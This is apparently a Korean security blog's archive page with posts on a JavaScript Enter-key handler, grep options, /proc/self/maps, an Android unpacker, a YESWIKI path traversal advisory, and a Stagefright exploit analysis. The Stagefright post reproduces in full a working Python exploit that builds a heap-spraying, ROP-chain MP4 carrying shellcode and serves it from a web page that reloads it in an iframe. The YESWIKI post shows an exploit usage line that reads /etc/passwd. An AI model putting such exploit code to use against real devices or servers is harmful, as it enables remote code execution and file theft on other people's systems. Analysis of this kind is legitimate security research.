9/23/2015

[CODING] HTML에서 Javascript 를 이용한 Input 태그 엔터 처리(HTML Key Event Handler/Javascript Char Codes)

웹 개발을 하다 보면 텍스트 박스에서 submit, button 을 누르지 않고 엔터만으로 데이터를 전송하거나 페이지를 이동하는 등 액션이 들어가야할 부분들이 있습니다. 간단하게 이벤트 핸들러랑 javascript 를 이용해서 텍스트 입력창에서 엔터를 누를 시 처리를 하도록 코드를 만들어볼 수 있습니다.

일단 입력 구간이 있어야겠지요.

<input type=text>

Key 입력을 받을 수 있는 이벤트핸들러는 다양합니다. 움 아래에서는 onkeypress 를 사용하도록 하겠습니다.

<input type=text onkeypress="javascript:if(event.keyCode == 13){document.write('이 구역이 Key 입력 13[enter] 후 실행되는 구간입니다.');}" value="">

javascript 부분을 살펴보면 매우 간단합니다. (마치 대학교 과제에서 switch 문에서 입력 별 처리 만드는거랑 비슷하죠)

if(event.KeyCode == 13)
{
 // 처리 구간
}

event에서 KeyCode를 통해 입력되는 Key Event 를 받아옵니다. 받아온 값과 Enter(Keycode 13)과 비교해서 엔터 입력 시 처리를 하도록 합니다.

참고 데이터로 키입력 이벤트 핸들러랑 KeyCode 입니다.

Key Event Handler

 - onkeydown: 키가 눌렸을 때 실행
 - onkeypress: 키가 눌렸을 때 실행
 - onkeyup: 키에서 손을 뗐을 때 실행

Key Code

Key Code
backspace 8
tab 9
enter 13
shift 16
ctrl 17
alt 18
pause/break 19
caps lock 20
escape 27
page up 33
page down 34
end 35
home 36
left arrow 37
up arrow 38
right arrow 39
down arrow 40
insert 45
delete 46
0 48
1 49
2 50
3 51
4 52
5 53
6 54
7 55
8 56
9 57
a 65
b 66
c 67
d 68
 
Key Code
e 69
f 70
g 71
h 72
i 73
j 74
k 75
l 76
m 77
n 78
o 79
p 80
q 81
r 82
s 83
t 84
u 85
v 86
w 87
x 88
y 89
z 90
left window key 91
right window key 92
select key 93
numpad 0 96
numpad 1 97
numpad 2 98
numpad 3 99
numpad 4 100
numpad 5 101
numpad 6 102
numpad 7 103
 
Key Code
numpad 8 104
numpad 9 105
multiply 106
add 107
subtract 109
decimal point 110
divide 111
f1 112
f2 113
f3 114
f4 115
f5 116
f6 117
f7 118
f8 119
f9 120
f10 121
f11 122
f12 123
num lock 144
scroll lock 145
semi-colon 186
equal sign 187
comma 188
dash 189
period 190
forward slash 191
grave accent 192
open bracket 219
back slash 220
close braket 221
single quote 222

Share: | Coffee Me:

9/18/2015

[EXPLOIT] StageFright Exploit Code 분석(StageFrigt Exploit Analysis)

StageFright Vulnerability

최근 안드로이드쪽에서 핫 이슈였던 StageFright 취약점에 대해 기억하시나요?
멀티미디어를 로드하는 스테이지프라이트 구간에 취약점으로 인해 미디어를 전송하는 MMS로
사용자의 핸드폰을 감염시킬 수 있는 취약점이였습니다. MMS 이외에도 미디어를 로드하는 구간에서 다수 발생할 수 있는 취약점이였었죠.. 나름 크게 이슈가 있던 취약점이라 따로 포스팅도 했었습니다. 보시면 대충 어떤 취약점이구나.. 라고 알 수 있습니다.

문자만 받아도 해킹, Stagefright(스테이지프라이트) - 안드로이드 MMS취약점(멀티미디어 로드) / 안드로이드 95% 취약 (http://www.www.hahwul.com/2015/08/stagefright-mms-95.html)

아무튼 이 취약점이 최근에 Google Security 팀으로부터 공격코드가 공개되었다고 하고 9/17일자로 Exploit-db에
EDB-ID 38226 으로 공격코드가 등록되었습니다.

Exploit-db Link : https://www.exploit-db.com/exploits/38226/

해당 Exploit code 에 대해 간단하게 분석해보도록 하겠습니다.



일단 code의 정상적인 실행을 위해서는 python package 설치가 필요합니다. (pwntools, cherrypy)
pip를 통해 설치해줍니다.

# pip install pwntools
# pip install cherrypy

실행과 동시에 Main 부분부터 천천히 살펴볼까합니다. 크게 4가지 동작부분으로 구분하여 볼 수 있습니다.

1. shellcode.bin 파일을 load 하여 tmp 변수 삽입(exploit code 에 추가하기 위한 사전 작업)


with open('shellcode.bin', 'rb') as tmp:
  shellcode = tmp.read()

while len(shellcode) % 4 != 0:
  shellcode += '\x00'

2. exploit.mp4 파일을 write 권한으로 생성 / Exploit_Server(), Cherrypy를 통해 mp4 파일을 서버에 게시


def main():
  find_rop_gadgets('libc.so')
  with open('exploit.mp4', 'wb') as tmp:
    tmp.write(exploit_mp4())
  cherrypy.quickstart(ExploitServer())

3. exploit_mp4()에서 실제 공격코드를 통해 Exploit 이 담긴 mp4 생성


def exploit_mp4():
  ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex"))
  trak = ''
  trak += sample_table(heap_spray(spray_size) * spray_count)
  trak += alloc_avcc(8)
  trak += alloc_hvcc(8)
  # | tx3g | MPEG4DataSource | pssh |
  overflow = 'A' * 24

  # | tx3g ----------------> | pssh |
  overflow += p32(spray_address)         # MPEG4DataSource vtable ptr
  overflow += '0' * 0x48
  overflow += '0000'                    # r4
  overflow += '0000'                    # r5
  overflow += '0000'                    # r6
  overflow += '0000'                    # r7
  overflow += '0000'                    # r8
  overflow += '0000'                    # r9
  overflow += '0000'                    # r10
  overflow += '0000'                    # r11
  overflow += '0000'                    # r12
  overflow += p32(spray_address + 0x20) # sp
  overflow += p32(pop_pc)               # lr

  trak += chunk("tx3g", overflow)
 ...snip...
힙스프레이를 위해 overflow 변수에 A로 채워나가고 스프레이 포인터주소를 넣고 0으로 채우는 등의 코드를 통해
악성파일을 생성합니다. 공격코드의 가장 핵심부분이 되겠죠. (아래 원문코드에서 주석보시면 편해요)

4. Cherrypy 를 통해[Exploit_Server class] 공격 mp4 파일을 임시 서버에 업로드


class ExploitServer(object):

  exploit_file = None
  exploit_count = 0

  @cherrypy.expose
  def index(self):
    self.exploit_count += 1
    print '*' * 80
    print 'exploit attempt: ' + str(self.exploit_count)
    print '*' * 80
    return index_page

  @cherrypy.expose(["exploit.mp4"])
  def exploit(self):
    cherrypy.response.headers['Content-Type'] = 'video/mp4'
    cherrypy.response.headers['Content-Encoding'] = 'gzip'

    if self.exploit_file is None:
      exploit_uncompressed = exploit_mp4()
      with open('exploit_uncompressed.mp4', 'wb') as tmp:
        tmp.write(exploit_uncompressed)
      os.system('gzip exploit_uncompressed.mp4')
      with open('exploit_uncompressed.mp4.gz', 'rb') as tmp:
        self.exploit_file = tmp.read()
      os.system('rm exploit_uncompressed.mp4.gz')

    return self.exploit_file
Cherrypy 모듈을 통해 Exploit_Server Class를 읽어와 video/mp4 의 content-type으로 제공합니다.
일반 웹서버 기능과 유사하지요, 저 부분을 제외하고 생성된 mp4 파일을 가지고 바로 웹 서버에 올리거나,
MMS를 통해 전송하여 공격에 시도할 수 있겠네요.

더 원리적인 분석을 하고싶으나.. 시간이 많이 없네요...
공격코드 전문은 Exploit-db 공식 홈페이지 및 아래 코드로 확인할 수 있습니다.

공격코드 전문(Attack Code full ver. - exploit-db#38226)

StageFright Exploit Code - [Python]

# cat stagefright.py
#!/usr/bin/python2

import cherrypy
import os
import pwnlib.asm as asm
import pwnlib.elf as elf
import sys
import struct


with open('shellcode.bin', 'rb') as tmp:
  shellcode = tmp.read()

while len(shellcode) % 4 != 0:
  shellcode += '\x00'

# heap grooming configuration
alloc_size = 0x20
groom_count = 0x4
spray_size = 0x100000
spray_count = 0x10

# address of the buffer we allocate for our shellcode
mmap_address = 0x90000000

# addresses that we need to predict
libc_base = 0xb6ebd000
spray_address = 0xb3000000

# ROP gadget addresses
stack_pivot = None
pop_pc = None
pop_r0_r1_r2_r3_pc = None
pop_r4_r5_r6_r7_pc = None
ldr_lr_bx_lr = None
ldr_lr_bx_lr_stack_pad = 0
mmap64 = None
memcpy = None

def find_arm_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='arm')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 4 == 0:
      gadget_address = address
      if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
        print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm')
        break
  return gadget_address

def find_thumb_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='thumb')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 2 == 0:
      gadget_address = address + 1
      if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
        print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb')
        break
  return gadget_address
  
def find_gadget(e, gadget):
  gadget_address = find_thumb_gadget(e, gadget)
  if gadget_address is not None:
    return gadget_address
  return find_arm_gadget(e, gadget)

def find_rop_gadgets(path):
  global memcpy
  global mmap64
  global stack_pivot
  global pop_pc
  global pop_r0_r1_r2_r3_pc
  global pop_r4_r5_r6_r7_pc
  global ldr_lr_bx_lr
  global ldr_lr_bx_lr_stack_pad

  e = elf.ELF(path)
  e.address = libc_base

  memcpy = e.symbols['memcpy']
  print '[*] memcpy : 0x{:08x}'.format(memcpy)
  mmap64 = e.symbols['mmap64']
  print '[*] mmap64 : 0x{:08x}'.format(mmap64)

  # .text:00013344    ADD             R2, R0, #0x4C
  # .text:00013348    LDMIA           R2, {R4-LR}
  # .text:0001334C    TEQ             SP, #0
  # .text:00013350    TEQNE           LR, #0
  # .text:00013354    BEQ             botch_0
  # .text:00013358    MOV             R0, R1
  # .text:0001335C    TEQ             R0, #0
  # .text:00013360    MOVEQ           R0, #1
  # .text:00013364    BX              LR

  pivot_asm = ''
  pivot_asm += 'add   r2, r0, #0x4c\n'
  pivot_asm += 'ldmia r2, {r4 - lr}\n'
  pivot_asm += 'teq   sp, #0\n'
  pivot_asm += 'teqne lr, #0'
  stack_pivot = find_arm_gadget(e, pivot_asm)
  print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot)

  pop_pc_asm = 'pop {pc}'
  pop_pc = find_gadget(e, pop_pc_asm)
  print '[*] pop_pc : 0x{:08x}'.format(pop_pc)

  pop_r0_r1_r2_r3_pc = find_gadget(e, 'pop {r0, r1, r2, r3, pc}')
  print '[*] pop_r0_r1_r2_r3_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_pc)

  pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}')
  print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc)

  ldr_lr_bx_lr_stack_pad = 0
  for i in range(0, 0x100, 4):
    ldr_lr_bx_lr_asm =  'ldr lr, [sp, #0x{:08x}]\n'.format(i)
    ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8)
    ldr_lr_bx_lr_asm += 'bx  lr'
    ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm)
    if ldr_lr_bx_lr is not None:
      ldr_lr_bx_lr_stack_pad = i
      break
  
def pad(size):
  return '#' * size

def pb32(val):
  return struct.pack(">I", val)

def pb64(val):
  return struct.pack(">Q", val)

def p32(val):
  return struct.pack("<I", val)

def p64(val):
  return struct.pack("<Q", val)

def chunk(tag, data, length=0):
  if length == 0:
    length = len(data) + 8
  if length > 0xffffffff:
    return pb32(1) + tag + pb64(length)+ data
  return pb32(length) + tag + data

def alloc_avcc(size):
  avcc = 'A' * size
  return chunk('avcC', avcc)

def alloc_hvcc(size):
  hvcc = 'H' * size
  return chunk('hvcC', hvcc)

def sample_table(data):
  stbl = ''
  stbl += chunk('stco', '\x00' * 8)
  stbl += chunk('stsc', '\x00' * 8)
  stbl += chunk('stsz', '\x00' * 12)
  stbl += chunk('stts', '\x00' * 8)
  stbl += data
  return chunk('stbl', stbl)

def memory_leak(size):
  pssh = 'leak'
  pssh += 'L' * 16
  pssh += pb32(size)
  pssh += 'L' * size
  return chunk('pssh', pssh)

def heap_spray(size):
  pssh = 'spry'
  pssh += 'S' * 16
  pssh += pb32(size)

  page = ''

  nop = asm.asm('nop', arch='thumb')
  while len(page) < 0x100:
    page += nop
  page += shellcode
  while len(page) < 0xed0:
    page += '\xcc'

  # MPEG4DataSource fake vtable
  page += p32(stack_pivot)

  # pivot swaps stack then returns to pop {pc}
  page += p32(pop_r0_r1_r2_r3_pc)

  # mmap64(mmap_address,
  #        0x1000,
  #        PROT_READ | PROT_WRITE | PROT_EXECUTE,
  #        MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,
  #        -1,
  #        0);

  page += p32(mmap_address)             # r0 = address
  page += p32(0x1000)                   # r1 = size
  page += p32(7)                        # r2 = protection
  page += p32(0x32)                     # r3 = flags
  page += p32(ldr_lr_bx_lr)             # pc

  page += pad(ldr_lr_bx_lr_stack_pad)
  page += p32(pop_r4_r5_r6_r7_pc)       # lr
  page += pad(4)

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(mmap64)                   # pc

  page += p32(0xffffffff)               # fd      (and then r4)
  page += pad(4)                        # padding (and then r5)
  page += p64(0)                        # offset  (and then r6, r7)
  page += p32(pop_r0_r1_r2_r3_pc)       # pc

  # memcpy(shellcode_address,
  #        spray_address + len(rop_stack),
  #        len(shellcode));

  page += p32(mmap_address)             # r0 = dst
  page += p32(spray_address - 0xed0)    # r1 = src
  page += p32(0xed0)                    # r2 = size
  page += p32(0x33333333)               # r3
  page += p32(ldr_lr_bx_lr)             # pc

  page += pad(ldr_lr_bx_lr_stack_pad)
  page += p32(pop_r4_r5_r6_r7_pc)       # lr
  page += pad(4)

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(memcpy)                   # pc

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(mmap_address + 1)         # pc

  while len(page) < 0x1000:
    page += '#'

  pssh += page * (size // 0x1000)

  return chunk('pssh', pssh)

def exploit_mp4():
  ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex"))

  trak = ''

  # heap spray so we have somewhere to land our corrupted vtable
  # pointer

  # yes, we wrap this in a sample_table for a reason; the
  # NuCachedSource we will be using otherwise triggers calls to mmap,
  # leaving our large allocations non-contiguous and making our chance
  # of failure pretty high. wrapping in a sample_table means that we
  # wrap the NuCachedSource with an MPEG4Source, making a single
  # allocation that caches all the data, doubling our heap spray
  # effectiveness :-)
  trak += sample_table(heap_spray(spray_size) * spray_count)

  # heap groom for our MPEG4DataSource corruption

  # get the default size allocations for our MetaData::typed_data
  # groom allocations out of the way first, by allocating small blocks
  # instead.
  trak += alloc_avcc(8)
  trak += alloc_hvcc(8)

  # we allocate the initial tx3g chunk here; we'll use the integer
  # overflow so that the allocated buffer later is smaller than the
  # original size of this chunk, then overflow all of the following
  # MPEG4DataSource object and the following pssh allocation; hence why
  # we will need the extra groom allocation (so we don't overwrite
  # anything sensitive...)

  # | tx3g | MPEG4DataSource | pssh |
  overflow = 'A' * 24

  # | tx3g ----------------> | pssh |
  overflow += p32(spray_address)         # MPEG4DataSource vtable ptr
  overflow += '0' * 0x48
  overflow += '0000'                    # r4
  overflow += '0000'                    # r5
  overflow += '0000'                    # r6
  overflow += '0000'                    # r7
  overflow += '0000'                    # r8
  overflow += '0000'                    # r9
  overflow += '0000'                    # r10
  overflow += '0000'                    # r11
  overflow += '0000'                    # r12
  overflow += p32(spray_address + 0x20) # sp
  overflow += p32(pop_pc)               # lr

  trak += chunk("tx3g", overflow)

  # defragment the for alloc_size blocks, then make our two
  # allocations. we end up with a spurious block in the middle, from
  # the temporary ABuffer deallocation.

  # | pssh | - | pssh |
  trak += memory_leak(alloc_size) * groom_count

  # | pssh | - | pssh | .... | avcC |
  trak += alloc_avcc(alloc_size)

  # | pssh | - | pssh | .... | avcC | hvcC |
  trak += alloc_hvcc(alloc_size)

  # | pssh | - | pssh | pssh | avcC | hvcC | pssh |
  trak += memory_leak(alloc_size) * 8

  # | pssh | - | pssh | pssh | avcC | .... |
  trak += alloc_hvcc(alloc_size * 2)

  # entering the stbl chunk triggers allocation of an MPEG4DataSource
  # object

  # | pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh |
  stbl = ''

  # | pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh |
  stbl += alloc_avcc(alloc_size * 2)

  # | pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh |
  # | pssh | - | pssh | pssh | tx3g ----------------> |
  overflow_length = (-(len(overflow) - 24) & 0xffffffffffffffff)
  stbl += chunk("tx3g", '', length = overflow_length)

  trak += chunk('stbl', stbl)

  return ftyp + chunk('trak', trak)

index_page = '''
<!DOCTYPE html>
<html>
  <head>
    <title>Stagefrightened!</title>
  </head>
  <body>
    <script>
    window.setTimeout('location.reload(true);', 4000);
    </script>
    <iframe src='/exploit.mp4'></iframe>
  </body>
</html>
'''

class ExploitServer(object):

  exploit_file = None
  exploit_count = 0

  @cherrypy.expose
  def index(self):
    self.exploit_count += 1
    print '*' * 80
    print 'exploit attempt: ' + str(self.exploit_count)
    print '*' * 80
    return index_page

  @cherrypy.expose(["exploit.mp4"])
  def exploit(self):
    cherrypy.response.headers['Content-Type'] = 'video/mp4'
    cherrypy.response.headers['Content-Encoding'] = 'gzip'

    if self.exploit_file is None:
      exploit_uncompressed = exploit_mp4()
      with open('exploit_uncompressed.mp4', 'wb') as tmp:
        tmp.write(exploit_uncompressed)
      os.system('gzip exploit_uncompressed.mp4')
      with open('exploit_uncompressed.mp4.gz', 'rb') as tmp:
        self.exploit_file = tmp.read()
      os.system('rm exploit_uncompressed.mp4.gz')

    return self.exploit_file

def main():
  find_rop_gadgets('libc.so')
  with open('exploit.mp4', 'wb') as tmp:
    tmp.write(exploit_mp4())
  cherrypy.quickstart(ExploitServer())

if __name__ == '__main__':
  main()
Share: | Coffee Me:

9/16/2015

[DEBIAN] grep -v , -E 옵션을 이용한 문자열 제외하여 찾기(grep to exclude a specific string)



데이터 검색, 각종 명령어 사용 시 많이 사용되는 Function 인 grep에 관한 이야기를 할까 합니다.
대부분 grep을 찾아야할 문자열을 찾기 위해 많이 사용하는데, 제외하고 볼 문자열로는 아시는분도 있고 모르시는분도 있고 그런 것 같습니다.

간단하게 grep 의 제외하기 기능 옵션을 사용하는 방법입니다.

# grep --help
사용법: grep [옵션]... 패턴 [파일]...
...snip...

정규식 선택과 해석
  -E, --extended-regexp     확장된 정규 표현식으로 된 패턴 (ERE)

Miscellaneous:
  -s, --no-messages         suppress error messages
  -v, --invert-match        select non-matching lines
  -V, --version             display version information and exit
      --help                display this help text and exit

grep 의 help 로 확인할 수 있는 옵션 중 제외를 위해 사용할 옵션은 v 옵션입니다. (대문자는 Version을 뜻해요)

 -v, --invert-match 설명대로 매칭되지 않은 line 을 출력할 때 사용하는 옵션입니다.

grep -v, -E 옵션을 활용한 매칭 문자열 제외


직접 테스트하며 기능에 대해 알아보겠습니다.

# ll
합계 12
-rwsrwxrwx  1 root root    0  9월 15 17:23 4777_abc
-rwsrwxrwx  1 root root    0  9월 15 17:23 4777_cba

4777_abc와 4777_cba 두개의 파일을 생성해두었습니다.
검색을 위해 위험한 권한인 4777로 세팅하였습니다.

아래와 같이 퍼미션이 4777인 파일만 검색하면 abc,cba 모두 출력됩니다.
# find ./* -perm 4777
./4777_abc
./4777_cba

일반적으로 문자열을 선택에서 출력하는 grep 의 경우 아래와 같이 하면 의도한 값(abc)만 나오게 되지요.
# find ./* -perm 4777 | grep "abc"
./4777_abc

여기서 -v 옵션을 이용하여 abc를 제외하고 검색하면 cba만 나타나게 됩니다.
# find ./* -perm 4777 | grep -v "abc"
./4777_cba

여기서 위에 메뉴얼에 있던 -E, --extended-regexp  확장된 정규 표현식으로 된 패턴 (ERE) 이 옵션을 사용하면
규칙을 쉽게 많이 걸어 사용이 가능합니다.

테스트를 위해 파일을 더 추가하였습니다.
# ll
합계 12
-rwsrwxrwx  1 root root    0  9월 15 17:23 4777_abc
-rwsrwxrwx  1 root root    0  9월 15 17:23 4777_cba
-rwsrwxrwx  1 root root    0  9월 15 17:30 4777_zzza
-rwsrwxrwx  1 root root    0  9월 15 17:30 4777_zzzc
-rwsrwxrwx  1 root root    0  9월 15 17:30 4777_zzze
-rwsrwxrwx  1 root root    0  9월 15 17:30 4777_zzzh
-rwsrwxrwx  1 root root    0  9월 15 17:30 4777_zzzq
-rwsrwxrwx  1 root root    0  9월 15 17:30 4777_zzzs
-rwsrwxrwx  1 root root    0  9월 15 17:30 4777_zzzz

여기서 -E(정규식) 옵션을 이용해 abc와 zzzz, zzzh 문자열이 제외된 값만 검색합니다.
# find ./* -perm 4777 | grep -Ev 'abc|zzzh|zzzz'
./4777_cba
./4777_zzza
./4777_zzzc
./4777_zzze
./4777_zzzq
./4777_zzzs

Grep Options



Regexp selection and interpretation:
  -E, --extended-regexp     PATTERN is an extended regular expression (ERE)
  -F, --fixed-strings       PATTERN is a set of newline-separated fixed strings
  -G, --basic-regexp        PATTERN is a basic regular expression (BRE)
  -P, --perl-regexp         PATTERN is a Perl regular expression
  -e, --regexp=PATTERN      use PATTERN for matching
  -f, --file=FILE           obtain PATTERN from FILE
  -i, --ignore-case         ignore case distinctions
  -w, --word-regexp         force PATTERN to match only whole words
  -x, --line-regexp         force PATTERN to match only whole lines
  -z, --null-data           a data line ends in 0 byte, not newline

Miscellaneous:
  -s, --no-messages         suppress error messages
  -v, --invert-match        select non-matching lines
  -V, --version             print version information and exit
      --help                display this help and exit
      --mmap                deprecated no-op; evokes a warning

Output control:
  -m, --max-count=NUM       stop after NUM matches
  -b, --byte-offset         print the byte offset with output lines
  -n, --line-number         print line number with output lines
      --line-buffered       flush output on every line
  -H, --with-filename       print the file name for each match
  -h, --no-filename         suppress the file name prefix on output
      --label=LABEL         use LABEL as the standard input file name prefix
  -o, --only-matching       show only the part of a line matching PATTERN
  -q, --quiet, --silent     suppress all normal output
      --binary-files=TYPE   assume that binary files are TYPE;
                            TYPE is `binary', `text', or `without-match'
  -a, --text                equivalent to --binary-files=text
  -I                        equivalent to --binary-files=without-match
  -d, --directories=ACTION  how to handle directories;
                            ACTION is `read', `recurse', or `skip'
  -D, --devices=ACTION      how to handle devices, FIFOs and sockets;
                            ACTION is `read' or `skip'
  -r, --recursive           like --directories=recurse
  -R, --dereference-recursive  likewise, but follow all symlinks
      --include=FILE_PATTERN  search only files that match FILE_PATTERN
      --exclude=FILE_PATTERN  skip files and directories matching FILE_PATTERN
      --exclude-from=FILE   skip files matching any file pattern from FILE
      --exclude-dir=PATTERN  directories that match PATTERN will be skipped.
  -L, --files-without-match  print only names of FILEs containing no match
  -l, --files-with-matches  print only names of FILEs containing matches
  -c, --count               print only a count of matching lines per FILE
  -T, --initial-tab         make tabs line up (if needed)
  -Z, --null                print 0 byte after FILE name

Context control:
  -B, --before-context=NUM  print NUM lines of leading context
  -A, --after-context=NUM   print NUM lines of trailing context
  -C, --context=NUM         print NUM lines of output context
  -NUM                      same as --context=NUM
      --color[=WHEN],
      --colour[=WHEN]       use markers to highlight the matching strings;
                            WHEN is `always', `never', or `auto'
  -U, --binary              do not strip CR characters at EOL (MSDOS/Windows)
  -u, --unix-byte-offsets   report offsets as if CRs were not there
                            (MSDOS/Windows)


Share: | Coffee Me:

9/09/2015

[EXPLOIT] YESWIKI 2.0 Path Traversal Vulnerability

EDB-ID: 38071로 0day.today에 1337Day-ID-24202 로 업로드 되었네요.

EDB: https://www.exploit-db.com/exploits/38071
0day: http://0day.today/exploit/description/24202

# Exploit Title: YESWIKI 0.2 - Path Traversal
# Date: 2015-09-02
# Exploit Author: HaHwul
# Exploit Author Blog: http://www.codeblack.net
# Vendor Homepage: http://yeswiki.net
# Software Link: https://github.com/YesWiki/yeswiki
# Version: yeswiki 0.2
# Tested on: Debian [Wheezy]
# CVE : none
# ===========================================



간단하게 풀이를 해보자면 YESWIKI 는 wakka라는 php 파일을 통해 전체 시스템 동작이 이루어 집니다.
이 중 wiki 수정 페이지에 접근할 때 사용되는 squelette 파라미터에서 파일에 대한 접근이 이루어지고, Traversal 구문(../)에 대한 검증이 부족하여 시스템 파일에 대해 접근이 가능한 취약점입니다.

# ruby yeswiki_taversal.rb
YESWIKI Path Traversal Exploit - File Downloader
Usage: ruby yeswiki_traversal.rb [targetURL wakka.php] [File name]
  Example : ~~.rb http://127.0.0.1/vul_test/yeswiki/wakka.php /etc/passwd
  exploit & code by hahwul[www.codeblack.net]





Share: | Coffee Me:

[SYSTEM HACKING] /proc/self/maps 파일을 이용하여 실행중인 시스템 메모리 주소 확인하기

모바일 악성코드 분석 중 /proc/ 하단 데이터를 건드리는 코드가 있어 추가로 내용 더 써서 작성하였습니다.

/proc 디렉토리는 리눅스에서 사용되는 디렉토리이고 시스템의 프로세스 정보를 담고 있습니다.
간단하게 구조를 살펴보자면 아래와 같습니다.

/proc 프로세스 정보
/proc/[pid]/ : 구동중인 해당 프로세스의 정보
/proc/self : 현재 실행중인 프로세스의 디렉토리 표시
/proc/[pid]/maps : 해당 프로세스가 mapping 된 메모리 주소 공간

이 중 악성코드 친구가 건드린 /proc/self/maps 파일에 대해 작성해보았습니다.



일단 cat을 통해 maps 파일을 읽어보면 아래와 같이 나타납니다.

# cat /proc/self/maps
00400000-0040c000 r-xp 00000000 08:05 2097265                            /bin/cat
0060b000-0060c000 r--p 0000b000 08:05 2097265                            /bin/cat
0060c000-0060d000 rw-p 0000c000 08:05 2097265                            /bin/cat
00761000-00782000 rw-p 00000000 00:00 0                                  [heap]
7f46d79da000-7f46d7dd3000 r--p 00000000 08:05 4456585                    /usr/lib/locale/locale-archive
7f46d7dd3000-7f46d7f93000 r-xp 00000000 08:05 8388656                    /lib/x86_64-linux-gnu/libc-2.21.so
7f46d7f93000-7f46d8193000 ---p 001c0000 08:05 8388656                    /lib/x86_64-linux-gnu/libc-2.21.so
7f46d8193000-7f46d8197000 r--p 001c0000 08:05 8388656                    /lib/x86_64-linux-gnu/libc-2.21.so
7f46d8197000-7f46d8199000 rw-p 001c4000 08:05 8388656                    /lib/x86_64-linux-gnu/libc-2.21.so
7f46d8199000-7f46d819d000 rw-p 00000000 00:00 0
7f46d819d000-7f46d81c1000 r-xp 00000000 08:05 8388642                    /lib/x86_64-linux-gnu/ld-2.21.so
7f46d8379000-7f46d839e000 rw-p 00000000 00:00 0
7f46d83be000-7f46d83c0000 rw-p 00000000 00:00 0
7f46d83c0000-7f46d83c1000 r--p 00023000 08:05 8388642                    /lib/x86_64-linux-gnu/ld-2.21.so
7f46d83c1000-7f46d83c2000 rw-p 00024000 08:05 8388642                    /lib/x86_64-linux-gnu/ld-2.21.so
7f46d83c2000-7f46d83c3000 rw-p 00000000 00:00 0
7ffc9c15b000-7ffc9c17c000 rw-p 00000000 00:00 0                          [stack]
7ffc9c1f1000-7ffc9c1f3000 r--p 00000000 00:00 0                          [vvar]
7ffc9c1f3000-7ffc9c1f5000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

감이오시나요..? 실행되고 있는 프로세스의 메모리 주소를 알 수 있습니다. 제가 cat 명령을 썼기 때문에 맨 윗줄에 /bin/cat 도 나타났습니다.

Maps 파일을 상세히 보자면 아래와 같이 분류를 나눌 수 있습니다.
메모리위치        | 권한 | offset | device | inode | path
00400000-0040c000  r-xp  00000000  08:05  2097265  /bin/cat
0060b000-0060c000  r--p  0000b000  08:05  2097265  /bin/cat

분석했던 악성코드는 공유라이브러리 때문에 해당 파일에 접근한듯 합니다. 테스트 프로그램을 실행 후 메모리에 대한 정보 확인이 필요할 때 해당 파일을 열어 확인하면 조금이나마 도움이 될 수 있습니다 :)

Share: | Coffee Me:

9/03/2015

[HACKING] Android UnPacker - APK 난독화 풀기(APK Deobfuscation)

예전에 Defcon22 에서 발표된 Android Unpacker입니다.

Install Android Unpacker
Git을 통해서 쉽게 설치가 가능합니다.
# git clone https://github.com/strazzere/android-unpacker.git

strazzere가 배포하는 Android Unpacker 에는 기본적으로 Defcon22 에서 발표된 Unpacker를 포함한
Dohoser, KissKiss Unpacker 를 포함하고 있습니다.

 - AHPL0 - Android Hacker Protection Level 0 + some blackphone stuff slides
 - gdb-scripts/ - Bash script for unpacking bangcle/secshell; requires gdb/adb
 - native-unpacker/ - Unpacker for APKProtect/Bangcle/LIAPP/Qihoo Packer that runs natively, no dependency on gdb
 - hide-qemu/ - Small hacks for hiding the qemu/debuggers, specifically from APKProtect

# cd android-unpacker 
# cd native-unpacker
# make 
# make install (Enble phone)

Show Error Message
Makefile:4: *** ANDROID_NDK_ROOT is undefined - ensure Android NDK is properly configured.  멈춤.

위 에러를 해결하기 위해선 Android NDK 설치 후 ANDROID_NDK_ROOT 환경 변수를 설정해주시면 됩니다.

Android NDK 설치 관련 사항은 아래글을 참고해주세요.

[ANDROID] Android NDK 설치하기(Install Android NDK)


android-unpacker


이 android-unpacker 는 크게 3가지 기능으로 나눌 수 있습니다.

gdb-scripts/ - Bash script for unpacking bangcle/secshell; requires gdb/adb
bash script 로 구성된 secshell unpacker 입니다.

native-unpacker/ - Unpacker for APKProtect/Bangcle/LIAPP/Qihoo Packer that runs natively, no dependency on gdb
보편적으로 많이 쓰이는 APKProtect, Qihoo 등 여러 난독화 도구에 대한 Unpacker 입니다.

hide-qemu/ - Small hacks for hiding the qemu/debuggers, specifically from APKProtect
APKProtect 중 특이한 경우에 사용하는 UnPacker 입니다.

native-unpackecodeblack.netr

APKProtect, Qihoo 등 여러 난독화 도구를 풀 때 사용하는 Unpacker 입니다. 대부분 악성앱도 Qihoo나 APKProtect 를 적용하여 나타나고 있어 분석이 불편하기에, Unpacker 를 이용하여 좀 더 쉬운 형태로 분석을 진행할 수 있습니다.

일단 설치과정은 native-unpacker 로 이동하여 make 를 통해 설치해줍니다.

# cd native-unpaker
# make

